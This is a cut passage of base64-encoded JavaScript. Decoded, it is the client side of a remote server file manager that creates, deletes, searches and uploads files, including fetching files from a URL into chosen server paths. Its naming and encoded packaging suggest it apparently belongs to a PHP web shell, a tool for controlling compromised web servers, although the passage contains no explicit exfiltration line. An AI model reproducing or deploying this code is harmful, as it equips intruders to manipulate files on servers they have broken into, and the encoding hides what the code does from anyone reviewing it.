ZW5hbWVGaWxlJykudmFsKCQoJy5yZW5hbWVGaWxlVG8nKS52YWwoKSk7CgkJfQoJCWVsc2UgJCgnLmJveHJlc3VsdCcpLmh0bWwoJ09wZXJhdGlvbihzKSBmYWlsZWQnKTsKCX0pOwp9CgpmdW5jdGlvbiBuZXdmb2xkZXIocGF0aCl7Cgl0aXRsZSA9ICJOZXcgRm9sZGVyIjsKCXBhdGggPSBwYXRoICsgJ25ld2ZvbGRlci0nICsgdGltZSgpOwoJY29udGVudCA9ICI8dGFibGUgY2xhc3M9J2JveHRibCc+PHRyPjx0ZCBjbGFzcz0nY29sRml0Jz5Gb2xkZXIgTmFtZTwvdGQ+PHRkPjxpbnB1dCB0eXBlPSd0ZXh0JyBjbGFzcz0nbmV3Rm9sZGVyJyB2YWx1ZT0nIitwYXRoKyInIG9ua2V5ZG93bj1cInRyYXBfZW50ZXIoZXZlbnQsICduZXdmb2xkZXJfZ28nKTtcIj48L3RkPjwvdHI+PHRyPjx0ZCBjb2xzcGFuPScyJz48c3BhbiBjbGFzcz0nYnV0dG9uJyBvbmNsaWNrPSduZXdmb2xkZXJfZ28oKTsnPmNyZWF0ZTwvc3Bhbj48L3RkPjwvdHI+PC90YWJsZT4iOwoJc2hvd19ib3godGl0bGUsIGNvbnRlbnQpOwp9CgpmdW5jdGlvbiBuZXdmb2xkZXJfZ28oKXsKCW5ld0ZvbGRlciA9ICQoJy5uZXdGb2xkZXInKS52YWwoKTsKCXNlbmRfcG9zdCh7bmV3Rm9sZGVyOm5ld0ZvbGRlcn0sIGZ1bmN0aW9uKHJlcyl7CgkJaWYocmVzIT0nZXJyb3InKXsKCQkJbmF2aWdhdGUocmVzKTsKCQkJJCgnLmJveHJlc3VsdCcpLmh0bWwoJ09wZXJhdGlvbihzKSBzdWNjZWVkZWQnKTsKCQl9CgkJZWxzZSAkKCcuYm94cmVzdWx0JykuaHRtbCgnT3BlcmF0aW9uKHMpIGZhaWxlZCcpOwoJfSk7Cn0KCmZ1bmN0aW9uIG5ld2ZpbGUocGF0aCl7Cgl0aXRsZSA9ICJOZXcgRmlsZSI7CglwYXRoID0gcGF0aCArICduZXdmaWxlLScgKyB0aW1lKCk7Cgljb250ZW50ID0gIjx0YWJsZSBjbGFzcz0nYm94dGJsJz48dHI+PHRkIGNsYXNzPSdjb2xGaXQnPkZpbGUgTmFtZTwvdGQ+PHRkPjxpbnB1dCB0eXBlPSd0ZXh0JyBjbGFzcz0nbmV3RmlsZScgdmFsdWU9JyIrcGF0aCsiJyBvbmtleWRvd249XCJ0cmFwX2VudGVyKGV2ZW50LCAnbmV3ZmlsZV9nbycpO1wiPjwvdGQ+PC90cj48dHI+PHRkIGNvbHNwYW49JzInPjxzcGFuIGNsYXNzPSdidXR0b24nIG9uY2xpY2s9J25ld2ZpbGVfZ28oKTsnPmNyZWF0ZTwvc3Bhbj48L3RkPjwvdHI+PC90YWJsZT4iOwoJc2hvd19ib3godGl0bGUsIGNvbnRlbnQpOwp9CgpmdW5jdGlvbiBuZXdmaWxlX2dvKCl7CgluZXdGaWxlID0gJCgnLm5ld0ZpbGUnKS52YWwoKTsKCXNlbmRfcG9zdCh7bmV3RmlsZTpuZXdGaWxlfSwgZnVuY3Rpb24ocmVzKXsKCQlpZihyZXMhPSdlcnJvcicpewoJCQl2aWV3KG5ld0ZpbGUsICdlZGl0Jyk7CgkJCSQoJy5ib3hyZXN1bHQnKS5odG1sKCdPcGVyYXRpb24ocykgc3VjY2VlZGVkJyk7CgkJfQoJCWVsc2UgJCgnLmJveHJlc3VsdCcpLmh0bWwoJ09wZXJhdGlvbihzKSBmYWlsZWQnKTsKCX0pOwp9CgpmdW5jdGlvbiB2aWV3ZmlsZW9yZm9sZGVyKCl7Cgl0aXRsZSA9ICJWaWV3IEZpbGUgLyBGb2xkZXIiOwoJY29udGVudCA9ICI8dGFibGUgY2xhc3M9J2JveHRibCc+PHRyPjx0ZD48aW5wdXQgdHlwZT0ndGV4dCcgY2xhc3M9J3ZpZXdGaWxlb3JGb2xkZXInIHZhbHVlPSciK2h0bWxfc2FmZShnZXRfY3dkKCkpKyInIG9ua2V5ZG93bj1cInRyYXBfZW50ZXIoZXZlbnQsICd2aWV3ZmlsZW9yZm9sZGVyX2dvJyk7XCI+PC90ZD48L3RyPjx0cj48dGQ+PHNwYW4gY2xhc3M9J2J1dHRvbicgb25jbGljaz0ndmlld2ZpbGVvcmZvbGRlcl9nbygpOyc+dmlldzwvc3Bhbj48L3RkPjwvdHI+PC90YWJsZT4iOwoJc2hvd19ib3godGl0bGUsIGNvbnRlbnQpOwp9CgpmdW5jdGlvbiB2aWV3ZmlsZW9yZm9sZGVyX2dvKCl7CgllbnRyeSA9ICQoJy52aWV3RmlsZW9yRm9sZGVyJykudmFsKCk7CglzZW5kX3Bvc3Qoe3ZpZXdGaWxlb3JGb2xkZXI6ZW50cnl9LCBmdW5jdGlvbihyZXMpewoJCWlmKHJlcyE9J2Vycm9yJyl7CgkJCWlmKHJlcz09J2ZpbGUnKXsKCQkJCXZpZXcoZW50cnksICdhdXRvJyk7CgkJCQlzaG93X3RhYignZXhwbG9yZXInKTsKCQkJfQoJCQllbHNlIGlmKHJlcz09J2ZvbGRlcicpewoJCQkJbmF2aWdhdGUoZW50cnkpOwoJCQkJc2hvd190YWIoJ2V4cGxvcmVyJyk7CgkJCX0KCQl9Cgl9KTsKfQoKZnVuY3Rpb24gZGVsKHBhdGgpewoJdGl0bGUgPSAiRGVsZXRlIjsKCWNvbnRlbnQgPSAiPHRhYmxlIGNsYXNzPSdib3h0YmwnPjx0cj48dGQgY2xhc3M9J2NvbEZpdCc+RGVsZXRlPC90ZD48dGQ+PGlucHV0IHR5cGU9J3RleHQnIGNsYXNzPSdkZWxldGUnIHZhbHVlPSciK3BhdGgrIicgb25rZXlkb3duPVwidHJhcF9lbnRlcihldmVudCwgJ2RlbGV0ZV9nbycpO1wiPjwvdGQ+PC90cj48dHI+PHRkIGNvbHNwYW49JzInPjxzcGFuIGNsYXNzPSdidXR0b24nIG9uY2xpY2s9J2RlbGV0ZV9nbygpOyc+ZGVsZXRlPC9zcGFuPjwvdGQ+PC90cj48L3RhYmxlPiI7CglzaG93X2JveCh0aXRsZSwgY29udGVudCk7Cn0KCmZ1bmN0aW9uIGRlbGV0ZV9nbygpewoJcGF0aCA9ICQoJy5kZWxldGUnKS52YWwoKTsKCXNlbmRfcG9zdCh7ZGVsZXRlOnBhdGh9LCBmdW5jdGlvbihyZXMpewoJCWlmKHJlcyE9J2Vycm9yJyl7CgkJCW5hdmlnYXRlKHJlcyk7CgkJCSQoJy5ib3hyZXN1bHQnKS5odG1sKCdPcGVyYXRpb24ocykgc3VjY2VlZGVkJyk7CgkJfQoJCWVsc2UgJCgnLmJveHJlc3VsdCcpLmh0bWwoJ09wZXJhdGlvbihzKSBmYWlsZWQnKTsKCX0pOwp9CgpmdW5jdGlvbiBmaW5kKHBhdGgpewoJZmluZGZpbGUgPSAiPHRhYmxlIGNsYXNzPSdib3h0YmwnPjx0aGVhZD48dHI+PHRoIGNvbHNwYW49JzInPjxwIGNsYXNzPSdib3h0aXRsZSc+RmluZCBGaWxlPC9wPjwvdGg+PC90cj48L3RoZWFkPjx0Ym9keT48dHI+PHRkIHN0eWxlPSd3aWR0aDoxNDRweCc+U2VhcmNoIGluPC90ZD48dGQ+PGlucHV0IHR5cGU9J3RleHQnIGNsYXNzPSdmaW5kZmlsZVBhdGgnIHZhbHVlPSciK3BhdGgrIicgb25rZXlkb3duPVwidHJhcF9lbnRlcihldmVudCwgJ2ZpbmRfZ29fZmlsZScpO1wiPjwvdGQ+PC90cj48dHI+PHRkIHN0eWxlPSdib3JkZXItYm90dG9tOm5vbmU7Jz5GaWxlbmFtZSBjb250YWluczwvdGQ+PHRkIHN0eWxlPSdib3JkZXItYm90dG9tOm5vbmU7Jz48aW5wdXQgdHlwZT0ndGV4dCcgY2xhc3M9J2ZpbmRmaWxlRmlsZW5hbWUnIG9ua2V5ZG93bj1cInRyYXBfZW50ZXIoZXZlbnQsICdmaW5kX2dvX2ZpbGUnKTtcIj48L3RkPjwvdHI+PHRyPjx0ZD48L3RkPjx0ZD48c3BhbiBjbGFzcz0nY0JveCBmaW5kZmlsZUZpbGVuYW1lUmVnZXgnPjwvc3Bhbj48c3BhbiBjbGFzcz0nZmxvYXRMZWZ0Jz5SZWdleDwvc3Bhbj4mbmJzcDsmbmJzcDs8c3BhbiBjbGFzcz0nY0JveCBmaW5kZmlsZUZpbGVuYW1lSW5zZW5zaXRpdmUnPjwvc3Bhbj48c3BhbiBjbGFzcz0nZmxvYXRMZWZ0Jz5DYXNlIEluc2Vuc2l0aXZlPC9zcGFuPjwvdGQ+PC90cj48dHI+PHRkIHN0eWxlPSdib3JkZXItYm90dG9tOm5vbmU7Jz5GaWxlIGNvbnRhaW5zPC90ZD48dGQgc3R5bGU9J2JvcmRlci1ib3R0b206bm9uZTsnPjxpbnB1dCB0eXBlPSd0ZXh0JyBjbGFzcz0nZmluZGZpbGVDb250YWlucycgb25rZXlkb3duPVwidHJhcF9lbnRlcihldmVudCwgJ2ZpbmRfZ29fZmlsZScpO1wiPjwvdGQ+PC90cj48dHI+PHRkPjwvdGQ+PHRkPjxzcGFuIGNsYXNzPSdjQm94IGZpbmRmaWxlQ29udGFpbnNSZWdleCc+PC9zcGFuPjxzcGFuIGNsYXNzPSdmbG9hdExlZnQnPlJlZ2V4PC9zcGFuPiZuYnNwOyZuYnNwOzxzcGFuIGNsYXNzPSdjQm94IGZpbmRmaWxlQ29udGFpbnNJbnNlbnNpdGl2ZSc+PC9zcGFuPjxzcGFuIGNsYXNzPSdmbG9hdExlZnQnPkNhc2UgSW5zZW5zaXRpdmU8L3NwYW4+PC90ZD48L3RyPjx0cj48dGQ+UGVybWlzc2lvbnM8L3RkPjx0ZD48c3BhbiBjbGFzcz0nY0JveCBmaW5kZmlsZVJlYWRhYmxlJz48L3NwYW4+PHNwYW4gY2xhc3M9J2Zsb2F0TGVmdCc+UmVhZGFibGU8L3NwYW4+Jm5ic3A7Jm5ic3A7PHNwYW4gY2xhc3M9J2NCb3ggZmluZGZpbGVXcml0YWJsZSc+PC9zcGFuPjxzcGFuIGNsYXNzPSdmbG9hdExlZnQnPldyaXRhYmxlPC9zcGFuPiZuYnNwOyZuYnNwOzxzcGFuIGNsYXNzPSdjQm94IGZpbmRmaWxlRXhlY3V0YWJsZSc+PC9zcGFuPjxzcGFuIGNsYXNzPSdmbG9hdExlZnQnPkV4ZWN1dGFibGU8L3NwYW4+PC90ZD48L3RyPjwvdGJvZHk+PHRmb290Pjx0cj48dGQ+PHNwYW4gY2xhc3M9J2J1dHRvbiBuYXZiYXInIGRhdGEtcGF0aD0nIitwYXRoKyInPmV4cGxvcmVyPC9zcGFuPjwvdGQ+PHRkPjxzcGFuIGNsYXNzPSdidXR0b24nIG9uY2xpY2s9XCJmaW5kX2dvX2ZpbGUoKTtcIj5maW5kPC9zcGFuPjwvdGQ+PC90cj48dHI+PHRkIGNvbHNwYW49JzInIGNsYXNzPSdmaW5kZmlsZVJlc3VsdCc+PC90ZD48L3RyPjwvdGZvb3Q+PC90YWJsZT4iOwoJZmluZGZvbGRlciA9ICI8dGFibGUgY2xhc3M9J2JveHRibCc+PHRoZWFkPjx0cj48dGggY29sc3Bhbj0nMic+PHAgY2xhc3M9J2JveHRpdGxlJz5GaW5kIEZvbGRlcjwvcD48L3RoPjwvdHI+PC90aGVhZD48dGJvZHk+PHRyPjx0ZCBzdHlsZT0nd2lkdGg6MTQ0cHgnPlNlYXJjaCBpbjwvdGQ+PHRkPjxpbnB1dCB0eXBlPSd0ZXh0JyBjbGFzcz0nZmluZEZvbGRlclBhdGgnIHZhbHVlPSciK3BhdGgrIicgb25rZXlkb3duPVwidHJhcF9lbnRlcihldmVudCwgJ2ZpbmRfZ29fZm9sZGVyJyk7XCI+PC90ZD48L3RyPjx0cj48dGQgc3R5bGU9J2JvcmRlci1ib3R0b206bm9uZTsnPkZvbGRlcm5hbWUgY29udGFpbnM8L3RkPjx0ZCBzdHlsZT0nYm9yZGVyLWJvdHRvbTpub25lOyc+PGlucHV0IHR5cGU9J3RleHQnIGNsYXNzPSdmaW5kRm9sZGVybmFtZScgb25rZXlkb3duPVwidHJhcF9lbnRlcihldmVudCwgJ2ZpbmRfZ29fZm9sZGVyJyk7XCI+PC90ZD48L3RyPjx0cj48dGQ+PC90ZD48dGQ+PHNwYW4gY2xhc3M9J2NCb3ggZmluZEZvbGRlcm5hbWVSZWdleCc+PC9zcGFuPjxzcGFuIGNsYXNzPSdmbG9hdExlZnQnPlJlZ2V4PC9zcGFuPiZuYnNwOyZuYnNwOyZuYnNwOzxzcGFuIGNsYXNzPSdjQm94IGZpbmRGb2xkZXJuYW1lSW5zZW5zaXRpdmUnPjwvc3Bhbj48c3BhbiBjbGFzcz0nZmxvYXRMZWZ0Jz5DYXNlIEluc2Vuc2l0aXZlPC9zcGFuPjwvdGQ+PC90cj48dHI+PHRkPlBlcm1pc3Npb25zPC90ZD48dGQ+PHNwYW4gY2xhc3M9J2NCb3ggZmluZFJlYWRhYmxlJz48L3NwYW4+PHNwYW4gY2xhc3M9J2Zsb2F0TGVmdCc+UmVhZGFibGU8L3NwYW4+Jm5ic3A7Jm5ic3A7PHNwYW4gY2xhc3M9J2NCb3ggZmluZFdyaXRhYmxlJz48L3NwYW4+PHNwYW4gY2xhc3M9J2Zsb2F0TGVmdCc+V3JpdGFibGU8L3NwYW4+Jm5ic3A7Jm5ic3A7PHNwYW4gY2xhc3M9J2NCb3ggZmluZEV4ZWN1dGFibGUnPjwvc3Bhbj48c3BhbiBjbGFzcz0nZmxvYXRMZWZ0Jz5FeGVjdXRhYmxlPC9zcGFuPjwvdGQ+PC90cj48L3Rib2R5Pjx0Zm9vdD48dHI+PHRkPjxzcGFuIGNsYXNzPSdidXR0b24gbmF2YmFyJyBkYXRhLXBhdGg9JyIrcGF0aCsiJz5leHBsb3Jlcjwvc3Bhbj48L3RkPjx0ZD48c3BhbiBjbGFzcz0nYnV0dG9uJyBvbmNsaWNrPVwiZmluZF9nb19mb2xkZXIoKTtcIj5maW5kPC9zcGFuPjwvdGQ+PC90cj48dHI+PHRkIGNvbHNwYW49JzInIGNsYXNzPSdmaW5kUmVzdWx0Jz48L3RkPjwvdHI+PC90Zm9vdD48L3RhYmxlPiI7CgkkKCcjZXhwbG9yZXInKS5odG1sKCI8ZGl2IGlkPSd4cGxVcGxvYWQnPiIgK2ZpbmRmaWxlKyc8YnI+JytmaW5kZm9sZGVyKyc8L2Rpdj4nKTsKCWNib3hfYmluZCgneHBsVXBsb2FkJyk7Cn0KCmZ1bmN0aW9uIGZpbmRfZ29fZmlsZSgpewoJZmluZF9nbygnZmlsZScpOwp9CgpmdW5jdGlvbiBmaW5kX2dvX2ZvbGRlcigpewoJZmluZF9nbygnZm9sZGVyJyk7Cn0KCmZ1bmN0aW9uIGZpbmRfZ28oZmluZFR5cGUpewoJZmluZFBhdGggPSAoZmluZFR5cGU9PSdmaWxlJyk/ICQoJy5maW5kZmlsZVBhdGgnKS52YWwoKTokKCcuZmluZEZvbGRlclBhdGgnKS52YWwoKTsKCWZpbmRSZXN1bHQgPSAoZmluZFR5cGU9PSdmaWxlJyk/ICQoJy5maW5kZmlsZVJlc3VsdCcpOiQoJy5maW5kUmVzdWx0Jyk7CgoJZmluZE5hbWUgPSAoZmluZFR5cGU9PSdmaWxlJyk/ICQoJy5maW5kZmlsZUZpbGVuYW1lJykudmFsKCk6JCgnLmZpbmRGb2xkZXJuYW1lJykudmFsKCk7CglmaW5kTmFtZVJlZ2V4ID0gKGZpbmRUeXBlPT0nZmlsZScpPyAkKCcuZmluZGZpbGVGaWxlbmFtZVJlZ2V4JykuaGFzQ2xhc3MoJ2NCb3hTZWxlY3RlZCcpLnRvU3RyaW5nKCk6JCgnLmZpbmRGb2xkZXJuYW1lUmVnZXgnKS5oYXNDbGFzcygnY0JveFNlbGVjdGVkJykudG9TdHJpbmcoKTsKCWZpbmROYW1lSW5zZW5zaXRpdmUgPSAoZmluZFR5cGU9PSdmaWxlJyk/ICQoJy5maW5kZmlsZUZpbGVuYW1lSW5zZW5zaXRpdmUnKS5oYXNDbGFzcygnY0JveFNlbGVjdGVkJykudG9TdHJpbmcoKTokKCcuZmluZEZvbGRlcm5hbWVJbnNlbnNpdGl2ZScpLmhhc0NsYXNzKCdjQm94U2VsZWN0ZWQnKS50b1N0cmluZygpOwoKCWZpbmRDb250ZW50ID0gKGZpbmRUeXBlPT0nZmlsZScpPyAkKCcuZmluZGZpbGVDb250YWlucycpLnZhbCgpOiIiOwoJZmluZENvbnRlbnRSZWdleCA9IChmaW5kVHlwZT09J2ZpbGUnKT8gJCgnLmZpbmRmaWxlQ29udGFpbnNSZWdleCcpLmhhc0NsYXNzKCdjQm94U2VsZWN0ZWQnKS50b1N0cmluZygpOiIiOwoJZmluZENvbnRlbnRJbnNlbnNpdGl2ZSA9IChmaW5kVHlwZT09J2ZpbGUnKT8gJCgnLmZpbmRmaWxlQ29udGFpbnNJbnNlbnNpdGl2ZScpLmhhc0NsYXNzKCdjQm94U2VsZWN0ZWQnKS50b1N0cmluZygpOiIiOwoKCWZpbmRSZWFkYWJsZSA9IChmaW5kVHlwZT09J2ZpbGUnKT8gJCgnLmZpbmRmaWxlUmVhZGFibGUnKS5oYXNDbGFzcygnY0JveFNlbGVjdGVkJykudG9TdHJpbmcoKTokKCcuZmluZFdyaXRhYmxlJykuaGFzQ2xhc3MoJ2NCb3hTZWxlY3RlZCcpLnRvU3RyaW5nKCk7CglmaW5kV3JpdGFibGUgPSAoZmluZFR5cGU9PSdmaWxlJyk/ICQoJy5maW5kZmlsZVdyaXRhYmxlJykuaGFzQ2xhc3MoJ2NCb3hTZWxlY3RlZCcpLnRvU3RyaW5nKCk6JCgnLmZpbmRSZWFkYWJsZScpLmhhc0NsYXNzKCdjQm94U2VsZWN0ZWQnKS50b1N0cmluZygpOwoJZmluZEV4ZWN1dGFibGUgPSAoZmluZFR5cGU9PSdmaWxlJyk/ICQoJy5maW5kZmlsZUV4ZWN1dGFibGUnKS5oYXNDbGFzcygnY0JveFNlbGVjdGVkJykudG9TdHJpbmcoKTokKCcuZmluZEV4ZWN1dGFibGUnKS5oYXNDbGFzcygnY0JveFNlbGVjdGVkJykudG9TdHJpbmcoKTsKCglzZW5kX3Bvc3QoCgkJewoJCQlmaW5kVHlwZTpmaW5kVHlwZSwKCQkJZmluZFBhdGg6ZmluZFBhdGgsCgkJCWZpbmROYW1lOmZpbmROYW1lLAoJCQlmaW5kTmFtZVJlZ2V4OmZpbmROYW1lUmVnZXgsCgkJCWZpbmROYW1lSW5zZW5zaXRpdmU6ZmluZE5hbWVJbnNlbnNpdGl2ZSwKCQkJZmluZENvbnRlbnQ6ZmluZENvbnRlbnQsCgkJCWZpbmRDb250ZW50UmVnZXg6ZmluZENvbnRlbnRSZWdleCwKCQkJZmluZENvbnRlbnRJbnNlbnNpdGl2ZTpmaW5kQ29udGVudEluc2Vuc2l0aXZlLAoJCQlmaW5kUmVhZGFibGU6ZmluZFJlYWRhYmxlLAoJCQlmaW5kV3JpdGFibGU6ZmluZFdyaXRhYmxlLAoJCQlmaW5kRXhlY3V0YWJsZTpmaW5kRXhlY3V0YWJsZQoJCX0sCgkJZnVuY3Rpb24ocmVzKXsKCQkJaWYocmVzIT0nZXJyb3InKXsKCQkJCWZpbmRSZXN1bHQuaHRtbChyZXMpOwoJCQl9CgkJfQoJKTsKfQoKZnVuY3Rpb24gdWxfZ29fY29tcCgpewoJdWxfZ28oJ2NvbXAnKTsKfQoKZnVuY3Rpb24gdWxfZ29fdXJsKCl7Cgl1bF9nbygndXJsJyk7Cn0KCmZ1bmN0aW9uIHVsKHBhdGgpewoJdWxjb21wdXRlciA9ICI8dGFibGUgY2xhc3M9J2JveHRibCB1bGNvbXAnPjx0aGVhZD48dHI+PHRoIGNvbHNwYW49JzInPjxwIGNsYXNzPSdib3h0aXRsZSc+VXBsb2FkIEZyb20gQ29tcHV0ZXIgPGEgb25jbGljaz0ndWxfYWRkX2NvbXAoKTsnPigrKTwvYT48L3A+PC90aD48L3RyPjwvdGhlYWQ+PHRib2R5IGNsYXNzPSd1bGNvbXBhZGQnPjwvdGJvZHk+PHRmb290Pjx0cj48dGQ+PHNwYW4gY2xhc3M9J2J1dHRvbiBuYXZiYXInIGRhdGEtcGF0aD0nIitwYXRoKyInPmV4cGxvcmVyPC9zcGFuPjwvdGQ+PHRkPjxzcGFuIGNsYXNzPSdidXR0b24nIG9uY2xpY2s9XCJ1bF9nb19jb21wKCk7XCI+dXBsb2FkPC9zcGFuPjwvdGQ+PC90cj48dHI+PHRkIGNvbHNwYW49JzInIGNsYXNzPSd1bENvbXBSZXN1bHQnPjwvdGQ+PC90cj48dHI+PHRkIGNvbHNwYW49JzInPjxkaXYgaWQ9J3VsRHJhZ05Ecm9wJz5PciBEcmFnIGFuZCBEcm9wIGZpbGVzIGhlcmU8L2Rpdj48L3RkPjwvdHI+PHRyPjx0ZCBjb2xzcGFuPScyJyBjbGFzcz0ndWxEcmFnTkRyb3BSZXN1bHQnPjwvdGQ+PC90cj48L3Rmb290PjwvdGFibGU+IjsKCXVsdXJsID0gIjx0YWJsZSBjbGFzcz0nYm94dGJsIHVsdXJsJz48dGhlYWQ+PHRyPjx0aCBjb2xzcGFuPScyJz48cCBjbGFzcz0nYm94dGl0bGUnPlVwbG9hZCBGcm9tIFVybCA8YSBvbmNsaWNrPSd1bF9hZGRfdXJsKCk7Jz4oKyk8L2E+PC9wPjwvdGg+PC90cj48L3RoZWFkPjx0Ym9keSBjbGFzcz0ndWx1cmxhZGQnPjwvdGJvZHk+PHRmb290Pjx0cj48dGQ+PHNwYW4gY2xhc3M9J2J1dHRvbiBuYXZiYXInIGRhdGEtcGF0aD0nIitwYXRoKyInPmV4cGxvcmVyPC9zcGFuPjwvdGQ+PHRkPjxzcGFuIGNsYXNzPSdidXR0b24nIG9uY2xpY2s9XCJ1bF9nb191cmwoKTtcIj51cGxvYWQ8L3NwYW4+PC90ZD48L3RyPjx0cj48dGQgY29sc3Bhbj0nMicgY2xhc3M9J3VsVXJsUmVzdWx0Jz48L3RkPjwvdHI+PC90Zm9vdD48L3RhYmxlPiI7Cgljb250ZW50ID0gdWxjb21wdXRlciArICc8YnI+JyArIHVsdXJsICsgIjxpbnB1dCB0eXBlPSdoaWRkZW4nIGNsYXNzPSd1bF9wYXRoJyB2YWx1ZT0nIitwYXRoKyInPiI7CgkkKCcjZXhwbG9yZXInKS5odG1sKGNvbnRlbnQpOwoJdWxfYWRkX2NvbXAoKTsKCXVsX2FkZF91cmwoKTsKCgkkKCcjdWxEcmFnTkRyb3AnKS5vbignZHJhZ2VudGVyJywgZnVuY3Rpb24oZSl7CgkJZS5zdG9wUHJvcGFnYXRpb24oKTsKCQllLnByZXZlbnREZWZhdWx0KCk7Cgl9KTsKCgkkKCcjdWxEcmFnTkRyb3AnKS5vbignZHJhZ292ZXInLCBmdW5jdGlvbihlKXsKCQllLnN0b3BQcm9wYWdhdGlvbigpOwoJCWUucHJldmVudERlZmF1bHQoKTsKCX0pOwoKCSQoJyN1bERyYWdORHJvcCcpLm9uKCdkcm9wJywgZnVuY3Rpb24oZSl7CgkJZS5zdG9wUHJvcGFnYXRpb24oKTsKCQllLnByZXZlbnREZWZhdWx0KCk7CgoJCWZpbGVzID0gZS50YXJnZXQuZmlsZXMgfHwgZS5kYXRhVHJhbnNmZXIuZmlsZXM7CgkJdWxSZXN1bHQgPSAkKCcudWxEcmFnTkRyb3BSZXN1bHQnKTsKCQl1bFJlc3VsdC5odG1sKCcnKTsKCQkkLmVhY2goZmlsZXMsIGZ1bmN0aW9uKGkpewoJCQlpZih0aGlzKXsKCQkJCXVsVHlwZSA9ICdEcmFnTkRyb3AnOwoJCQkJZmlsZW5hbWUgPSB0aGlzLm5hbWU7CgoJCQkJdmFyIGZvcm1EYXRhID0gbmV3IEZvcm1EYXRhKCk7CgkJCQlmb3JtRGF0YS5hcHBlbmQoJ3VsRmlsZScsIHRoaXMpOwoJCQkJZm9ybURhdGEuYXBwZW5kKCd1bFNhdmVUbycsIGdldF9jd2QoKSk7CgkJCQlmb3JtRGF0YS5hcHBlbmQoJ3VsRmlsZW5hbWUnLCBmaWxlbmFtZSk7CgkJCQlmb3JtRGF0YS5hcHBlbmQoJ3VsVHlwZScsICdjb21wJyk7CgoJCQkJZW50cnkgPSAiPHAgY2xhc3M9J3VsUmVzIit1bFR5cGUraSsiJz48c3BhbiBjbGFzcz0nc3Ryb25nJz4mZ3Q7PC9zcGFuPiZuYnNwOzxhIG9uY2xpY2s9J3ZpZXdfZW50cnkodGhpcyk7JyBjbGFzcz0ndWxGaWxlbmFtZSIrdWxUeXBlK2krIic+IitmaWxlbmFtZSsiPC9hPiZuYnNwOzxzcGFuIGNsYXNzPSd1bFByb2dyZXNzIit1bFR5cGUraSsiJz48L3NwYW4+PC9wPiI7CgkJCQl1bFJlc3VsdC5hcHBlbmQoZW50cnkpOwoKCQkJCWlmKHRoaXMuc2l6ZTw9MCl7CgkJCQkJJCgnLnVsUHJvZ3Jlc3MnK3VsVHlwZStpKS5odG1sKCcoIGZhaWxlZCApJyk7CgkJCQkJJCgnLnVsUHJvZ3Jlc3MnK3VsVHlwZStpKS5yZW1vdmVDbGFzcygndWxQcm9ncmVzcycrdWxUeXBlK2kpOwoJCQkJCSQoJy51bEZpbGVuYW1lJyt1bFR5cGUraSkucmVtb3ZlQ2xhc3MoJ3VsRmlsZW5hbWUnK3VsVHlwZStpKTsKCQkJCX0KCQkJCWVsc2V7CgkJCQkJdWxfc3RhcnQoZm9ybURhdGEsIHVsVHlwZSwgaSk7CgkJCQl9CgkJCX0KCQl9KTsKCX0pOwp9CgpmdW5jdGlvbiB1bF9hZGRfY29tcChwYXRoKXsKCXBhdGggPSBodG1sX3NhZmUoJCgnLnVsX3BhdGgnKS52YWwoKSk7CgkkKCcudWxjb21wYWRkJykuYXBwZW5kKCI8dHI+PHRkIHN0eWxlPSd3aWR0aDoxNDRweCc+RmlsZTwvdGQ+PHRkPjxpbnB1dCB0eXBlPSdmaWxlJyBjbGFzcz0ndWxGaWxlQ29tcCc+PC90ZD48L3RyPjx0cj48dGQ+U2F2ZSB0bzwvdGQ+PHRkPjxpbnB1dCB0eXBlPSd0ZXh0JyBjbGFzcz0ndWxTYXZlVG9Db21wJyB2YWx1ZT0nIitwYXRoKyInIG9ua2V5ZG93bj1cInRyYXBfZW50ZXIoZXZlbnQsICd1bF9nb19jb21wJyk7XCI+PC90ZD48L3RyPjx0cj48dGQ+RmlsZW5hbWUgKE9wdGlvbmFsKTwvdGQ+PHRkPjxpbnB1dCB0eXBlPSd0ZXh0JyBjbGFzcz0ndWxGaWxlbmFtZUNvbXAnIG9ua2V5ZG93bj1cInRyYXBfZW50ZXIoZXZlbnQsICd1bF9nb19jb21wJyk7XCI+PC90ZD48L3RyPiIpOwp9CgpmdW5jdGlvbiB1bF9hZGRfdXJsKHBhdGgpewoJcGF0aCA9IGh0bWxfc2FmZSgkKCcudWxfcGF0aCcpLnZhbCgpKTsKCSQoJy51bHVybGFkZCcpLmFwcGVuZCgiPHRyPjx0ZCBzdHlsZT0nd2lkdGg6MTQ0cHgnPkZpbGUgVVJMPC90ZD48dGQ+PGlucHV0IHR5cGU9J3RleHQnIGNsYXNzPSd1bEZpbGVVcmwnIG9ua2V5ZG93bj1cInRyYXBfZW50ZXIoZXZlbnQsICd1bF9nb191cmwnKTtcIj48L3RkPjwvdHI+PHRyPjx0ZD5TYXZlIHRvPC90ZD48dGQ+PGlucHV0IHR5cGU9J3RleHQnIGNsYXNzPSd1bFNhdmVUb1VybCcgdmFsdWU9JyIrcGF0aCsiJyBvbmtleWRvd249XCJ0cmFwX2VudGVyKGV2ZW50LCAndWxfZ29fdXJsJyk7XCI+PC90ZD48L3RyPjx0cj48dGQ+RmlsZW5hbWUgKE9wdGlvbmFsKTwvdGQ+PHRkPjxpbnB1dCB0eXBlPSd0ZXh0JyBjbGFzcz0ndWxGaWxlbmFtZVVybCcgb25rZXlkb3duPVwidHJhcF9lbnRlcihldmVudCwgJ3VsX2dvX3VybCcpO1wiPjwvdGQ+PC90cj4iKTsKfQoKZnVuY3Rpb24gdWxfc3RhcnQoZm9ybURhdGEsIHVsVHlwZSwgaSl7Cglsb2FkaW5nX3N0YXJ0KCk7CgkkLmFqYXgoewoJCXVybDogdGFyZ2V0dXJsLAoJCXR5cGU6ICdQT1NUJywKCQlkYXRhOiBmb3JtRGF0YSwKCQljYWNoZTogZmFsc2UsCgkJY29udGVudFR5cGU6IGZhbHNlLAoJCXByb2Nlc3NEYXRhOiBmYWxzZSwKCQl4aHI6IGZ1bmN0aW9uKCl7CgkJCW15WGhyID0gJC5hamF4U2V0dGluZ3MueGhyKCk7CgkJCWlmKG15WGhyLnVwbG9hZCl7CgkJCQlteVhoci51cGxvYWQuYWRkRXZlbnRMaXN0ZW5lcigncHJvZ3Jlc3MnLCBmdW5jdGlvbihlKXsKCQkJCQlwZXJjZW50ID0gTWF0aC5mbG9vcihlLmxvYWRlZCAvIGUudG90YWwgKiAxMDApOwoJCQkJCSQoJy51bFByb2dyZXNzJyt1bFR5cGUraSkuaHRtbCgnKCAnKyBwZXJjZW50ICsnJSApJyk7CgkJCQl9LCBmYWxzZSk7CgkJCX0KCQkJcmV0dXJuIG15WGhyOwoJCX0sCgkJc3VjY2VzczogZnVuY3Rpb24ocmVzKXsKCQkJaWYocmVzLm1hdGNoKC9XYXJuaW5nLipQT1NULipDb250ZW50LU